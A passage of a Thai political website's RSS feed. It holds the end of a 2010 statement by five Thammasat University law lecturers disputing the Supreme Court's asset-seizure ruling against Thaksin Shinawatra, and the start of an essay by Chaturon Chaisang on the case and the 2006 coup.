ซึ่งเรื่องนี้เป็นทางเลือกเชิงนโยบายของบริษัททีโอทีว่าจะเรียกเก็บค่าสัมปทานจากบริษัทเอไอเอสในอัตราที่สูงและส่วนแบ่งตลาดอาจไม่มาก อีกทั้งประชาชนจะต้องชำระค่าบริการในราคาที่แพง หรือจะเลือกว่าเรียกเก็บค่าสัมปทานน้อยลงเพื่อให้บริษัทเอไอเอสยังคงความได้เปรียบในตลาดไว้บ้าง แต่ก็เป็นประโยชน์แก่บริษัททีโอทีในเรื่องการรักษาส่วนแบ่งตลาดและหวังจะได้รับรายได้สูงมากขึ้นจากส่วนแบ่งตลาดที่เพิ่มสูงขึ้นและก็ทำให้ผู้ใช้บริการได้รับประโยชน์ในค่าบริการที่ลดลง</p>
<p><strong>๐</strong> แม้ศาลฎีกาฯจะเห็นว่าการลดค่าบริการให้แก่ผู้บริโภคจะเป็นผลมาจากการแข่งขันกันทางการค้า การที่เอไอเอสปรับลดค่าใช้บริการให้แก่ลูกค้าจึงเป็นไปตามกลไกตลาดนั้น คณาจารย์ทั้งห้าเห็นว่า หากไม่มีการปรับลดอัตราส่วนแบ่งรายได้เสียแล้ว เงื่อนไขของบริษัทเอไอเอสในการแข่งขันในตลาดย่อมเปลี่ยนแปลงไป และบริษัทเอไอเอสก็ย่อมไม่สามารถลดค่าบริการได้ถึงขนาดที่ได้กระทำไปแล้ว อีกทั้งย่อมต้องสูญเสียส่วนแบ่งตลาดไปบ้าง และกิจการโทรศัพท์เคลื่อนที่อาจไม่เติบโตถึงขนาดที่เป็นอยู่ในปัจจุบัน</p>
<p><strong>๐</strong> เมื่อพิเคราะห์จากข้อเท็จจริงที่เกิดขึ้น ประกอบกับการได้รับส่วนแบ่งรายได้ในภาพรวมที่เพิ่มสูงขึ้นของบริษัททีโอที และผลประโยชน์ที่ตกแก่ผู้บริโภคโดยตรงในการได้ใช้โทรศัพท์มือถือในราคาที่ถูกลงและความเจริญเติบโตในอุตสาหกรรมแล้ว คณาจารย์ทั้งห้าเห็นว่าการปรับลดอัตราส่วนแบ่งรายได้จากการบริการโทรศัพท์เคลื่อนที่แบบพรีเพดเป็นทางเลือกเชิงนโยบายของบริษัท ทีโอทีที่สืบเนื่องมาจากโครงสร้างที่บกพร่องที่ภาครัฐกำหนดขึ้นก่อนหน้านี้ จึงถือไม่ได้ว่ามีการเอื้อประโยชน์แก่บริษัทเอไอเอสโดยไม่ชอบ</p>
<p><strong>ประเด็นที่ 5 การแก้ไขสัญญาอนุญาตให้ดำเนินกิจการบริการโทรศัพท์เคลื่อนที่เพื่ออนุญาตให้ใช้เครือข่ายรวมหรือโรมมิ่ง (</strong><strong>Roaming)</strong><br />
<strong>๐</strong> ประเด็นที่ว่าบริษัทเอไอเอสได้เจรจาต่อรองให้ตนเองสามารถขยายโครงข่ายโทรศัพท์โดยการร่วมใช้โครงข่ายกับบริษัทลูกของตน กล่าวคือ บริษัทดีพีซีซึ่งได้รับสัมปทานโทรศัพท์เคลื่อนที่จากบมจ. กสท.ได้หรือไม่และจะสามารถต่อรองเพื่อนำค่าใช้โครงข่ายร่วมที่บริษัทเอไอเอสชำระให้แก่บริษัทดีพีซี มาหักออกจากค่าสัมปทานที่บริษัทเอไอเอสต้องจ่ายให้แก่บมจ. ทีโอทีได้หรือไม่นั้น เป็นประเด็นการต่อรองทางธุรกิจปกติระหว่างบริษัททีโอทีและบริษัทเอไอเอสที่จะตกลงกัน เป็นทางเลือกในการประกอบธุรกิจของคู่สัญญา</p>
<p><strong>๐</strong> สำหรับประเทศไทย ย่านความถี่ 900 MHz ที่จะจัดสรรได้นั้น บริษัทเอไอเอสได้ใช้เต็มจำนวนแล้ว แต่บริษัทเอไอเอสไม่ได้รับจัดสรรคลื่นความถี่ย่าน 1800 MHz จากภาครัฐ เพราะย่านคลื่นความถี่ 1800 MHz นั้น บริษัทแทค บริษัททรูมูฟ และบริษัทดีพีซีได้รับสิทธิในการใช้ภายใต้สัญญาสัมปทานของ กสท. และได้ใช้อยู่กันจนเต็มย่าน แล้ว บริษัทเอไอเอส รวมทั้งบริษัททีโอที ซึ่งมีหน้าที่หาคลื่นความถี่ตามสัญญาสัมปทานให้บริษัทเอไอเอส จึงไม่สามารถหาย่านคลื่นความถี่ใดมาใช้ให้เพียงพอกับโครงข่ายการให้บริการของบริษัทเอไอเอสซึ่งขยายตัวอย่างรวดเร็วจนเกิดความคับคั่งเป็นผลเสียต่อคุณภาพการให้บริการดังนั้น บริษัทเอไอเอสย่อมไม่มีทางเลือกอื่นในการที่จะขยายข่ายการให้บริการรองรับการขยายตัวของผู้ใช้บริการของตน หนทางแก้ปัญหาจึงมีเหลือทางเดียว คือ ต้องร่วมใช้โครงข่ายโทรคมนาคมที่บริษัทดีพีซีบริหารงานอยู่ โดยใช้วิธีการทางเทคนิคที่เรียกว่า Roaming ซึ่งมีการแปลเป็นภาษาไทยว่า การขอใช้โครงข่ายโทรคมนาคมของผู้ประกอบการรายอื่น ดังนั้น เรื่องของการ Roaming จึง เป็นเรื่องปกติวิสัย ไม่ใช่เป็นการเอารัดเอาเปรียบทางธุรกิจแต่อย่างใด</p>
<p><strong>๐</strong> กรณีดังกล่าวย่อมเป็นทางเลือกทางธุรกิจที่บริษัททีโอทีกีบบริษัทเอไอเอสจะตกลงกันได้ และเป็นเรื่องในทางนโยบายที่เป็นผลดียังเกิดแก่ประชาชนด้วย ยิ่งไปกว่านั้น การที่บริษัทเอไอเสใช้โครงข่ายร่วมกับบริษัทดีพีซี ยังเป็นผลดีต่อประเทศในแง่การที่ไม่ต้องมีการสร้างโครงข่ายโทรศัพท์เคลื่อนที่ซ้ำซ้อนกันในบางพื้นที่โดยไม่จำเป็นอันจะเป็นการก่อให้เกิดปัญหาสิ่งแวดล้อมและจะเป็นการทำให้เกิดต้นทุนในการประกอบกิจการสูงขึ้น ส่งผลต่อค่าใช้บริการที่จะต้องสูงขึ้นอย่างหลีกเลี่ยงไม่ได้  ดังนั้นการที่ศาลฎีกาฯได้วินิจฉัยว่า การที่บริษัทเอไอเอสและบริษัททีโอทีตกลงกันเพื่อนำค่าใช้โครงข่ายร่วม อันเป็นความรับผิดชอบของบริษัทเอไอเอส มาหักออกจากส่วนแบ่งรายได้สัมปทาน เป็นการกระทำความเสียหายให้แก่ ทศท. คณาจารย์ทั้งห้าไม่เห็นพ้องด้วย</p>
<p><strong>ประเด็นที่6 การละเว้น อนุมัติ ส่งเสริม สนับสนุนกิจการดาวเทียมตามสัญญาดำเนินกิจการดาวเทียมสื่อสารภายในประเทศ</strong><br />
<strong>๐</strong> ในการจัดให้มีระบบดาวเทียมสำรองนั้น สัญญาดำเนินกิจการดาวเทียมสื่อสารภายในประเทศ ระหว่างกระทรวงคมนาคมกับบริษัทชินวัตรคอมพิวเตอร์ แอนด์ คอมมิวนิเคชั่น จำกัด ข้อ 6 กำหนดไว้ว่าคุณสมบัติการใช้งานของดาวเทียมหลักและดาวเทียมสำรองตั้งแต่ดวงที่สองเป็นต้นไปจะต้องมีคุณสมบัติไม่ด้อยกว่าคุณสมบัติการใช้งานของดาวเทียมหลักและดาวเทียมสำรองดวงที่หนึ่ง ทั้งนี้โดยมีการกำหนดรายละเอียดคุณสมบัติของดาวเทียมดวงที่หนึ่งไว้ในขอ 8 ของสัญญาดังกล่าวรวมทั้งกำหนดไว้ด้วยว่าคุณสมบัติการใช้งานของดาวเทียมสำรองดวงที่หนึ่งอย่างน้อยจะต้องไม่ด้อยกว่าคุณสมบัติการใช้งานของดาวเทียมดวงที่หนึ่ง และทดแทนดาวเทียมหลักดวงที่หนึ่งเพื่อสามารถใช้งานได้โดยต่อเนื่อง สัญญาดังกล่าวไม่ได้กำหนดคุณสมบัติเฉพาะของดาวเทียมหลักและดาวเทียมสำรองตั้งแต่ดวงที่สองเป็นต้นไปไว้</p>
<p><strong>๐</strong> ในกรณีของดาวเทียมไอพีสตาร์นั้น เห็นได้ชัดว่าบริษัทผู้รับสัมปทานมุ่งประสงค์จะให้เป็นดาวเทียมสำรองของดาวเทียมไทยคม 3 เพียงแต่ได้พัฒนาเทคโนโลยี่ให้สูงขึ้น ดังที่ปรากฏในคำพิพากษาว่าดาวเทียมไอพีสตาร์มีคุณสมบัติทางเทคนิคพัฒนาขึ้นเป็นการเฉพาะครั้งแรกของโลกตามที่จดสิทธิบัตรไว้ และปรากฏชัดเจนว่าคุณสมบัติของดาวเทียมไอพีสตาร์ไม่ด้อยไปกว่าดาวเทียมดวงอื่นๆ ด้วยเหตุนี้คณาจารย์ทั้งห้าจึงเห็นว่าบริษัทผู้รับสัมปทานได้ปฏิบัติถูกต้องตามสัญญาแล้ว</p>
<p><strong>๐</strong> การมีดาวเทียมสำรองที่มีคุณสมบัติทางเทคนิคที่พัฒนาขึ้นใหม่ดีกว่าดาวเทียมหลัก เป็นดาวเทียมที่มีประสิทธิภาพสูงและครอบคลุมพื้นที่การให้บริการมากกว่าย่อมเป็นผลดีต่อการจัดทำบริการสาธารณะ ที่ศาลฎีกาวินิจฉัยว่าดาวเทียมไอพีสตาร์ไม่ถือว่าเป็นดาวเทียมสำรองของดาวเทียมไทยคม 3 ดวงต่อดวงได้ด้วยเทคโนโลยีที่แตกต่างกัน แต่เป็นดาวเทียมหลักดวงใหม่นั้น คณาจารย์ทั้งห้าไม่เห็นพ้องด้วย เนื่องจากในสัญญาดำเนินกิจการดาวเทียมสื่อสารภายในประเทศไม่มีที่ใดเลยที่ระบุให้ดาวเทียมสำรองต้องใช้เทคโนโลยีเดียวกับดาวเทียมหลัก เพียงแต่ระบุว่าคุณสมบัติการใช้งานของดาวเทียมหลักและดาวเทียมสำรองตั้งแต่ดวงที่สองเป็นต้นไปจะต้องมีคุณสมบัติไม่ด้อยกว่าคุณสมบัติการใช้งานของดาวเทียมหลักและดาวเทียมสำรองดวงที่หนึ่งเท่านั้น</p>
<p><strong>๐</strong> ที่ศาลฎีกาฯเห็นว่าดาวเทียมไอพีสตาร์ไม่มีย่านความถี่ซี-แบนที่จะให้กระทรวงคมนาคมใช้จำนวน 1 วงจรดาวเทียมตามสัญญา เพราะดาวเทียมไอพีสตาร์ใช้ย่านความถี่เคยู-แบน และย่านความถี่เคเอ-แบน นั้น เมื่อพิจารณาจากข้อมูลทางเทคนิคที่ศาลฎีกาฯสามารถค้นหาข้อเท็จจริงได้เองตามหลักการพิจารณาคดีในระบบไต่สวนแล้วจะเห็นได้ว่า ดาวเทียมไอพีสตาร์สามารถรองรับความถี่ซี-แบนได้ แต่ต้องมีสถานีสัญญาน และกรณีนี้ก็ไม่ปรากฏข้อเท็จจริงในคำพิพากษาที่แสดงว่ากระทรวงคมนาคมโต้แย้งว่าตนไม่ได้ใช้วงจรดาวเทียมเพราะเหตุว่าดาวเทียมไอพีสตาร์ไม่มีย่านความถี่ซี-แบนแต่อย่างใด</p>
<p><strong>๐</strong> สำหรับกรณีที่ศาลฎีกาฯเห็นว่าดาวเทียมไอพีสตาร์เป็นดาวเทียมหลักที่สร้างขึ้นเพื่อการสื่อสารระหว่างประเทศเป็นหลัก เนื่องจากเมื่อพิจารณาจากเอกสารขอรับการส่งเสริมการลงทุน บริษัทมีวัตถุประสงค์หลักเพื่อมุ่งหวังทางการค้าต่างประเทศนั้น คณาจารย์ทั้งห้าเห็นว่าสัญญาดำเนินกิจการดาวเทียมสื่อสารภายในประเทศข้อ 11 ระบุอนุญาตให้บริษัทสามารถนำวงจรดาวเทียมเหลือจากปริมาณความต้องการในประเทศไปให้ประเทศอื่นใช้ได้โดยต้องได้รับความเห็นชอบจากกระทรวงคมนาคม ในการวางแผนการตลาดนั้น เป็นธรรมดาอยู่เองที่ผู้ประกอบการจะต้องพิจารณาความต้องการการใช้วงจรดาวเทียมทั้งในและต่างประเทศว่าเป็นอย่างไร ในคำพิพากษาดังกล่าวไม่มีข้อเท็จจริงใดที่แสดงให้เห็นว่าเกิดความขาดแคลนในการใช้วงจรดาวเทียมของผู้ใช้วงจรดาวเทียมสื่อสารภายในประเทศ เมื่อปริมาณความต้องการการใช้วงจรดาวเทียมในประเทศยังมีไม่มากนัก การที่บริษัทนำวงจรดาวเทียมที่เหลือจากความต้องการในประเทศไปให้ประเทศอื่นใช้โดยได้รับความยินยอมจากคู่สัญญาฝ่ายรัฐ จึงชอบแล้ว อีกทั้งการวางแผนการตลาดในการนำวงจรดาวเทียมออกให้บุคคลอื่นใช้บริการนั้นไม่ว่าจะเป็นในประเทศหรือต่างประเทศโดยคำนวณตามความต้องการของตลาด ก็เป็นเรื่องปกติธรรมดาทางธุรกิจ ที่ศาลฎีกาฯเห็นว่าการอนุมัติให้ดาวเทียมไอพีสตาร์เป็นดาวเทียมสำรองเป็นการกระทำที่ทำให้รัฐเสียหายและเอื้อประโยชน์นั้น คณาจารย์ทั้งห้าไม่เห็นพ้องด้วย</p>
<p><strong>ประเด็นที่ 7 การอนุมัติให้รัฐบาลสหภาพพม่ากู้เงินจากธนาคารเพื่อการส่งออกและนำเข้าแห่งประเทศไทย</strong><br />
<strong>๐</strong> การพิจารณาดำเนินการให้รัฐบาลต่างประเทศกู้เงินนั้น เป็นการดำเนินการตามนโยบายในทางบริหารซึ่งต้องอยู่ภายใต้กรอบของกฎหมาย การดำเนินการดังกล่าวฝ่ายบริหารย่อมมีดุลพินิจที่พิจารณาให้เกิดประโยชน์สูงสุดซึ่งจะต้องคำนึงถึงปัจจัยหลายด้านประกอบกัน หากในการเจรจาในทางระหว่างประเทศเกี่ยวกับการให้กู้เงินมีการแลกเปลี่ยนประโยชน์ตอบแทนด้านต่างๆ ไม่ว่าการให้สัมปทานบ่อแก๊ส การช่วยปราบปราม ยับยั้งการค้ายาเสพติดตามแนวชายแดน ฯลฯ คณาจารย์ทั้งห้าก็เห็นว่าการเจรจาแลกเปลี่ยนตอบแทนดังกล่าวชอบที่ฝ่ายบริหารจะทำได้ หากอยู่ในกรอบของกฎหมาย และเป็นดุลพินิจโดยแท้ในทางบริหาร เป็นเรื่องในทางนโยบาย ซึ่งหากไม่เหมาะสม ก็เป็นหน้าที่ของรัฐสภาที่จะตรวจสอบในทางการเมืองต่อไป หากฝ่ายบริหารไม่มีดุลพินิจดังกล่าวนี้ย่อมเป็นการยากอย่างยิ่งที่ฝ่ายบริหารจะปฏิบัติภารกิจในการปกครองประเทศให้สำเร็จลุล่วงลงไปได้</p>
<p><strong>๐</strong> สำหรับกรณีที่เป็นปัญหานี้ แม้จะได้ความว่าบริษัทไทยคมจะได้จำหน่ายสินค้าและให้บริการให้รัฐบาลสหภาพพม่า อันอาจมองได้ว่าการจำหน่ายสินค้าและให้บริการดังกล่าวเป็นผลมาจากการที่รัฐบาลได้อนุมัติเงินกู้ให้แก่รัฐบาลพม่าก็ตาม แต่ข้อเท็จจริงก็ปรากฏว่าก่อนหน้านี้บริษัทไทยคมก็ได้ขายสินค้าให้แก่รัฐบาลพม่าตามพันธะสัญญาที่มีต่อกันมาแต่เดิมอยู่แล้ว นอกจากนี้การซื้อสินค้าและบริการด้านคมนาคมนั้นย่อมขึ้นอยู่กับความประสงค์ของผู้ชื้อเป็นสำคัญว่าจะซื้อจากบริษัทใด เป็นที่ทราบกันโดยทั่วไปว่ารัฐบาลพม่าไม่สามารถที่จะซื้อสินค้าและบริการดังกล่าวจากประเทศหลายประเทศได้ เนื่องจากเหตุผลทางการเมือง เมื่อรัฐบาลพม่าเคยซื้อสินค้าและบริการจากบริษัทไทยคมอยู่ก่อนแล้ว กรณีจึงไม่ใช่เรื่องผิดปกติวิสัยที่รัฐบาลพม่าจะซื้อสินค้าและบริการจากบริษัทไทยคมต่อไปอีก ด้วยเหตุที่กล่าวมาข้างต้นคณาจารย์ทั้งห้าจึงเห็นว่าข้อเท็จจริงยังไม่พอที่จะฟังได้ว่าคณะรัฐมนตรีสมัยรัฐบาล พ.ต.ท.ทักษิณ ชินวัตร อนุมัติเงินกู้ให้แก่รัฐบาลพม่าเพื่อให้รัฐบาลพม่าไปซื้อสินค้าและบริการของบริษัทไทยคมโดยเฉพาะอันมีลักษณะเป็นการเอื้อประโยชน์ให้แก่บริษัทไทยคมและบริษัทชินคอร์ป</p>
<p><strong>ประเด็นที่ 8 การดำเนินการตามข้อกล่าวหาทั้งห้ากรณีเป็นผลมาจากการปฏิบัติหน้าที่ หรือใช้อำนาจในตำแหน่งหน้าที่นายกรัฐมนตรีเอื้อประโยชน์แก่ธุรกิจของชินคอร์ปหรือไม่</strong><br />
<strong>๐</strong> การมีทรัพย์สินมากผิดปกติหรือการมีหนี้สินลดลงมากผิดปกติ หรือได้ทรัพย์สินมาโดยไม่สมควรจะต้องเป็นผลมาจากการปฏิบัติตามหน้าที่หรือใช้อำนาจหน้าที่ ซึ่งเท่ากับระบบกฎหมายเรียกร้องความสัมพันธ์ระหว่างการกระทำและผล (causation) ในเรื่องดังกล่าว หากการมีทรัพย์สินมากผิดปกติหรือการมีหนี้สินลดลงผิดปกติ หรือการได้ทรัพย์สินมาโดยไม่สมควร ไม่ได้เป็นผลมาจากการปฏิบัติหน้าที่หรือใช้อำนาจหน้าที่แล้ว ศาลย่อมไม่อาจสั่งให้ทรัพย์สินตกเป็นของแผ่นดินได้</p>
<p><strong>๐</strong> เมื่อพิจารณาจากข้อเท็จจริงแล้ว เห็นว่า การดำเนินการต่างๆที่เกี่ยวข้องกับข้อกล่าวหา หากไม่อยู่ในรูปของมติคณะรัฐมนตรี ก็เป็นการสั่งการโดยรัฐมนตรีเจ้ากระทรวง หรือคณะกรรมการที่มีอำนาจตามกฎหมาย เช่น คณะกรรมการ ทศท. เป็นต้น ไม่มีข้อเท็จจริงใดแสดงให้เห็นว่า พตท.ทักษิณ ชินวัตร เป็นผู้สั่งการหรืออนุมัติโดยตรง และไม่มีข้อเท็จจริงใดแสดงให้เห็นว่า พตท.ทักษิณ ชินวัตร สั่งให้รัฐมนตรีต่างๆที่เกี่ยวข้องกับเรื่องดังกล่าว หรือคณะกรรมการที่เกี่ยวข้องดำเนินการตามที่กล่าวหาเลย กรณีที่ พตท.ทักษิณ ชินวัตร เกี่ยวพันโดยตรงก็คือกรณีที่เรื่องที่อนุมัตินั้นอยู่รูปของมติคณะรัฐมนตรี แต่แม้กระนั้นในทางกฎหมายก็ถือว่าคณะรัฐมนตรีเป็นองค์กรกลุ่ม (collegial organ) แยกออกต่างหากจากนายกรัฐมนตรี ในการออกเสียงในคณะรัฐมนตรี นายกรัฐมนตรีก็มีคะแนนเสียงหนึ่งคะแนนเสียงเท่ากับรัฐมนตรีอื่น จึงไม่อาจถือว่าการกระทำของคณะรัฐมนตรีในสมัยรัฐบาล พตท.ทักษิณ ชินวัตร เป็นการกระทำของ พตท.ทักษิณ ชินวัตร ได้ ลำพังแต่ข้อกฎหมายที่ว่านายกรัฐมนตรีเป็นผู้บังคับบัญชาสูงสุดในฝ่ายบริหาร มีอำนาจบังคับบัญชา กำกับดูแลหน่วยงานทั้งหลายทั้งปวงของรัฐในฝ่ายบริหารยังไม่เพียงพอที่จะชี้ว่ามีการกระทำ และการกระทำคือการปฏิบัติตามหน้าที่หรือใช้อำนาจหน้าที่แต่อย่างใด โดยเหตุที่กรณีดังกล่าวเป็นกรณีที่ขาดความสัมพันธ์ระหว่างการกระทำและผล คณาจารย์ทั้งห้าจึงไม่เห็นพ้องด้วยกับการที่ศาลฎีกาฯสั่งให้ทรัพย์สินของผู้ถูกกล่าวหาตกเป็นของแผ่นดิน</p>
<p><strong>๐</strong> แม้จะถือตามคำพิพากษาของศาลฎีกาฯในคดีนี้ว่า พ.ต.ท.ทักษิณ ชินวัตร ได้ทรัพย์สินมาโดยไม่สมควรสืบเนื่องจากการปฏิบัติหน้าที่หรือใช้อำนาจหน้าที่ แต่การที่ศาลฎีกาถือว่าประโยชน์จากราคาหุ้นบริษัทชินคอร์ปส่วนที่เพิ่มขึ้นนับแต่วันก่อนที่ผู้ถูกกล่าวหา คือ พ.ต.ท.ทักษิณ ชินวัตร จะดำรงตำแหน่งนายกรัฐมนตรีในวาระแรก คือวันที่ 7 กุมภาพันธ์ 2544 เป็นต้นไป เป็นทรัพย์สินที่ได้มาโดยไม่สมควรสืบเนื่องมาจากการปฏิบัติหน้าที่หรือใช้อำนาจในตำแหน่งหน้าที่นั้น ย่อมไม่อาจอธิบายให้รับกับข้อเท็จจริงได้ เพราะแท้จริงแล้วการปฏิบัติหน้าที่หรือใช้อำนาจหน้าที่ซึ่งทำให้ได้ทรัพย์สินมาโดยไม่สมควรตามที่ศาลฎีกาฯวินิจฉัยนั้น ไม่ได้เกิดขึ้นมานับตั้งแต่วันแรกที่ พ.ต.ท.ทักษิณ ชินวัตร ดำรงตำแหน่งนายกรัฐมนตรี แต่ได้เกิดภายหลังในห้วงเวลาที่แตกต่างกันไป ดังนั้น จึงเป็นไปไม่ได้ในทางข้อเท็จจริงที่จะถือว่าประโยชน์จากราคาหุ้นในส่วนที่เพิ่มขึ้นของบริษัทชินคอร์ปได้เกิดขึ้นแล้วนับตั้งแต่วันแรกของการดำรงตำแหน่งนายกรัฐมนตรีของ พ.ต.ท.ทักษิณ ชินวัตร ที่สำคัญไม่น้อยกว่านั้น ต้องยอมรับว่าราคาหุ้นที่เพิ่มขึ้นของบริษัทชินคอร์ป สามารถเกิดจากปัจจัยอื่นด้วยก็ได้ อย่างเช่น ภาวะของตลาดหลักทรัพย์แห่งประเทศไทย</p>
<p><strong>๐</strong> เมื่อศาลฎีกาฯไม่ได้วินิจฉัยแยกแยะว่าประโยชน์ที่เกิดขึ้นจากการกระทำที่เป็นการเอื้อประโยชน์แต่ละกรณีเกิดขึ้นเมื่อใด แต่วินิจฉัยว่าราคาหุ้นที่เพิ่มขึ้นนั้นได้เกิดขึ้นอย่างไม่สมควรนับตั้งแต่วันที่ พ.ต.ท.ทักษิณ ชินวัตร ดำรงตำแหน่งนายกรัฐมนตรี และมีสาเหตุเพียงประการเดียว คือเกิดจากการที่ พ.ต.ท.ทักษิณ ชินวัตรปฏิบัติหน้าที่หรือใช้อำนาจในตำแหน่งหน้าที่โดยมิชอบ จนนำไปสู่การพิพากษาให้ทรัพย์สินของ พตท.ทักษิณ ชินวัตร ตกเป็นของแผ่นดินรวมเป็นเงินทั้งสิ้น 46,373,687,454.70 บาท ที่ศาลฎีกาฯมีคำพิพากษาในลักษณะเช่นนี้ คณาจารย์ทั้งห้าไม่อาจเห็นพ้องด้วยได้</p>
<p>รองศาสตราจารย์.ดร.วรเจตน์ ภาครัตน์<br />
รองศาสตราจารย์ประสิทธิ์ ปิวาวัฒนพานิช<br />
อาจารย์ ดร.ฐาปนันท์ นิพิฏฐกุล<br />
อาจารย์ธีระ สุธีวรางกูร<br />
อาจารย์ปิยบุตร แสงกนกกุล</p>
<p><strong>คณะนิติศาสตร์ มหาวิทยาลัยธรรมศาสตร์<br />
11 มีนาคม 2553</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/03/headlines/775/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>คดียึดทรัพย์ รัฐประหาร ตุลาการภิวัตน์กับบรรทัดฐานที่สังคมไทยยังต้องการคำตอบ</title>
		<link>http://www.thaksinlive.com/2010/03/headlines/772</link>
		<comments>http://www.thaksinlive.com/2010/03/headlines/772#comments</comments>
		<pubDate>Fri, 12 Mar 2010 02:43:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>
		<category><![CDATA[คดียึดทรัพย์]]></category>
		<category><![CDATA[จาตุรนต์ ฉายแสง]]></category>
		<category><![CDATA[ตุลาการภิวัตน์]]></category>
		<category><![CDATA[ทักษิณ ชินวัตร]]></category>
		<category><![CDATA[รัฐประหาร]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=772</guid>
		<description><![CDATA[คดียึดทรัพย์ รัฐประหาร ตุลาการภิวัตน์กับบรรทัดฐานที่สังคมไทยยังต้องการคำตอบ 
จาตุรนต์ ฉายแสง
8 มีนาคม 2553

“กรณีการแปลงสัมปทานเป็นภาษีสรรพสามิตนี้
ได้มีการร้องคัดค้านต่อศาลรัฐธรรมนูญมาแล้ว
ทั้งในสาระของกฎหมายและมาตรการที่เกี่ยวข้อง
และศาลรัฐธรรมนูญได้วินิจฉัยแล้วว่า
ทั้งหมดทุกประเด็นชอบด้วยกฎหมาย
และเป็นประโยชน์ต่อประเทศชาติและประชาชน
รัฐธรรมนูญได้บัญญัติไว้ว่าการวินิจฉัยของศาลรัฐธรรมนูญให้เป็นที่สุด
และย่อมมีผลผูกพันศาลและองค์กรอื่นตามรัฐธรรมนูญด้วย
การที่ศาลฎีกาของผู้ดำรงตำแหน่งทางการเมือง
นำเรื่องที่ศาลรัฐธรรมนูญได้วินิจฉัยไปแล้วขึ้นมาพิจารณาอีก
และวินิจฉัยไปในทางตรงข้าม
จึงไม่สอดคล้องกับบทบัญญัติแห่งรัฐธรรมนูญ…”
 0 0 0 
ก่อนการตัดสินคดียึดทรัพย์ ผมได้คาดการณ์ว่าทรัพย์สินทั้ง 76,000 ล้านคงถูกยึดทั้งหมด โดยผมได้บอกไว้ด้วยว่าที่ผ่านมาผมมักทายการเมืองแม่น แต่ครั้งนี้ผมอยากให้ทายผิด และถ้าทายผิด ผมก็จะดีใจ
ผลการตัดสินออกมา ปรากฏว่าผมทายผิด แต่ผมกลับไม่ได้ดีใจ ซ้ำร้ายยังรู้สึกสลดใจอย่างยิ่งด้วย
ที่ว่าทายผิดนั้นฟังเผินๆก็อาจจะเข้าใจไปได้ว่าเพราะมีการยึดทรัพย์ไม่หมดทั้ง76,000 ล้าน
แต่ในความเห็นของผมนั้น ที่ทายผิดคือ จากผลของคำพิพากษา ในที่สุดจะมีการยึดทรัพย์มากกว่า 76,000 ล้านอีกมาก นอกจากนั้นยังจะมีคดีร้ายแรงตามมาอีกหลายคดีดังที่ปรากฏเป็นข่าวไปบ้างแล้วด้วย
ก่อนการตัดสินคดีนี้ ผมได้เสนอความเห็นต่อคดีนี้และเรื่องที่เกี่ยวกับคดีนี้ไปบ้างแล้ว หลังการตัดสินคดี ผมเห็นว่าผลการตัดสินคดีนี้ได้เสนอปัญหาสำคัญๆ เกี่ยวกับรัฐธรรมนูญและระบบยุติธรรมของประเทศ ในฐานะที่ผมสนใจที่จะผลักดันให้มีการแก้รัฐธรรมนูญและปฏิรูประบบยุติธรรม ผมจึงเห็นว่าควรเสนอความคิดเห็นเพื่อให้สังคมไทยได้ร่วมกันพิจารณาต่อไป
ผมคงไม่อยู่ในวิสัยที่จะแสดงความคิดเห็นเกี่ยวกับข้อเท็จจริงและข้อกฎหมายในรายละเอียด และคิดว่าถ้าให้ทำหน้าที่อย่างนั้นคงไม่เป็นประโยชน์เท่าใดนัก ปล่อยให้เป็นหน้าที่ของผู้สันทัดกรณีจะดีกว่า
สิ่งที่ผมคิดว่าจะทำประโยชน์ได้มากกว่าก็คือ การหยิบประเด็นใหญ่ๆ ที่เห็นว่ามีประเด็นที่สังคมไทยควรจะได้นำมาศึกษาทำความเข้าใจกันอย่างจริงจังต่อไป โดยเฉพาะคำถามในเชิงหลักการและเชิงระบบของสังคมไทยอยู่หลายประการ ที่หากไม่ทำความเข้าใจและหาหลักเกณฑ์ที่ถูกต้องให้ได้แล้ว ก็อาจเป็นปัญหาใหญ่ของสังคมไทยต่อไปอีกยาวนาน ประเด็นที่สำคัญมีดังต่อไปนี้
 1) การรัฐประหารและกลไกที่คณะรัฐประหารตั้งขึ้น  เป็นทางออกสำหรับการแก้ปัญหาการทุจริตคอรัปชั่นหรือไม่
หากไม่มีการรัฐประหาร ไม่มีประกาศ คปค.ฉบับที่ 30 และไม่มีการตั้ง คตส.ที่มีอำนาจอย่างนี้ ย่อมไม่อาจมีการพิจารณาคดีอย่างที่เกิดขึ้นไปแล้วได้
ดูจากคำพิพากษาในตอนท้ายก็จะเห็นว่า คำวินิจฉัยให้ยึดทรัพย์นั้น ไม่ได้อาศัย พ.ร.บ.ป.ป.ช.อย่างเดียว แต่อาศัยประกาศ คปค.ฉบับที่ [...]]]></description>
			<content:encoded><![CDATA[<p><strong>คดียึดทรัพย์ รัฐประหาร ตุลาการภิวัตน์กับบรรทัดฐานที่สังคมไทยยังต้องการคำตอบ</strong><strong> </strong></p>
<p><strong>จาตุรนต์ ฉายแสง<br />
</strong>8 มีนาคม 2553</p>
<p><span id="more-772"></span></p>
<p>“กรณีการแปลงสัมปทานเป็นภาษีสรรพสามิตนี้<br />
ได้มีการร้องคัดค้านต่อศาลรัฐธรรมนูญมาแล้ว<br />
ทั้งในสาระของกฎหมายและมาตรการที่เกี่ยวข้อง<br />
และศาลรัฐธรรมนูญได้วินิจฉัยแล้วว่า<br />
ทั้งหมดทุกประเด็นชอบด้วยกฎหมาย<br />
และเป็นประโยชน์ต่อประเทศชาติและประชาชน</p>
<p>รัฐธรรมนูญได้บัญญัติไว้ว่าการวินิจฉัยของศาลรัฐธรรมนูญให้เป็นที่สุด<br />
และย่อมมีผลผูกพันศาลและองค์กรอื่นตามรัฐธรรมนูญด้วย</p>
<p>การที่ศาลฎีกาของผู้ดำรงตำแหน่งทางการเมือง<br />
นำเรื่องที่ศาลรัฐธรรมนูญได้วินิจฉัยไปแล้วขึ้นมาพิจารณาอีก<br />
และวินิจฉัยไปในทางตรงข้าม<br />
จึงไม่สอดคล้องกับบทบัญญัติแห่งรัฐธรรมนูญ…”</p>
<p><strong> 0 0 0 </strong></p>
